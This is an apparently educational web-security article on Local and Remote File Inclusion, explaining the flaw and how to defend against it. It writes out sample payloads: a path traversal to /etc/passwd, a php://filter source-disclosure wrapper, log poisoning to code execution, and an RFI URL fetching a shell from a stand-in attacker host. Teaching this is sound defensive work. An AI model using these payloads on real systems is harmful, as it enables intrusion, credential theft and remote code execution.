File inclusion vulnerabilities occur when an application builds the path of a file to include from user input. Local File Inclusion (LFI) lets an attacker include files already on the server, reading sensitive data and, through techniques like log poisoning or PHP wrappers, often reaching code execution. Remote File Inclusion (RFI) lets an attacker include a file from a URL they control, running their code directly. The root cause is passing untrusted input into an include or file-read call without constraint.
What LFI and RFI are
Applications often choose a file to include or read based on a parameter, for example ?page=home. If that parameter is used to build a path without restriction, an attacker controls which file the application opens.
- Local File Inclusion (LFI) includes files that already exist on the server. At minimum it discloses source code, configuration, and credentials; combined with other conditions it can execute code.
- Remote File Inclusion (RFI) includes a file fetched from a URL the attacker supplies, so their content runs on the server. RFI is rarer today because the setting that allows it is off by default in modern PHP, but it remains devastating where enabled.
Both stem from the same mistake: trusting user input to name a file.
The abuse and payload
Shown for defensive context:
- Path traversal read (LFI):
?page=../../../../etc/passwdwalks up out of the intended directory to read arbitrary files. - PHP wrapper source disclosure:
?page=php://filter/convert.base64-encode/resource=index.phpreturns the source of a script, encoded to survive execution. - LFI to code execution: poison a file the attacker can influence, then include it, classic examples are writing PHP into a log or the server's session files, then including that file.
- RFI:
?page=http://attacker/shell.txtpulls in and runs remote code where remote includes are allowed.
Because LFI so often chains into code execution, testers pursue it aggressively during application-layer penetration testing.
How to defend
Remove user control over the file path:
- Never pass user input into an include or file API. Map a fixed set of allowed pages to server-side identifiers, for example a lookup table keyed by a short code.
- If a path component must come from input, allowlist it and resolve the final path, then verify it stays inside an intended base directory before opening it.
- Disable remote includes at the runtime level, for example
allow_url_includeoff in PHP, which closes RFI outright. - Run with least privilege and keep logs and session files out of includable locations to break the LFI-to-execution chain.
Allowlisting the whole file, not sanitizing the path, is the reliable control.
References
- [1]OWASP: Path Traversal(OWASP)
- [2]PortSwigger: File path traversal(PortSwigger)
- [3]MITRE ATT&CK: Exploit Public-Facing Application (T1190)(MITRE)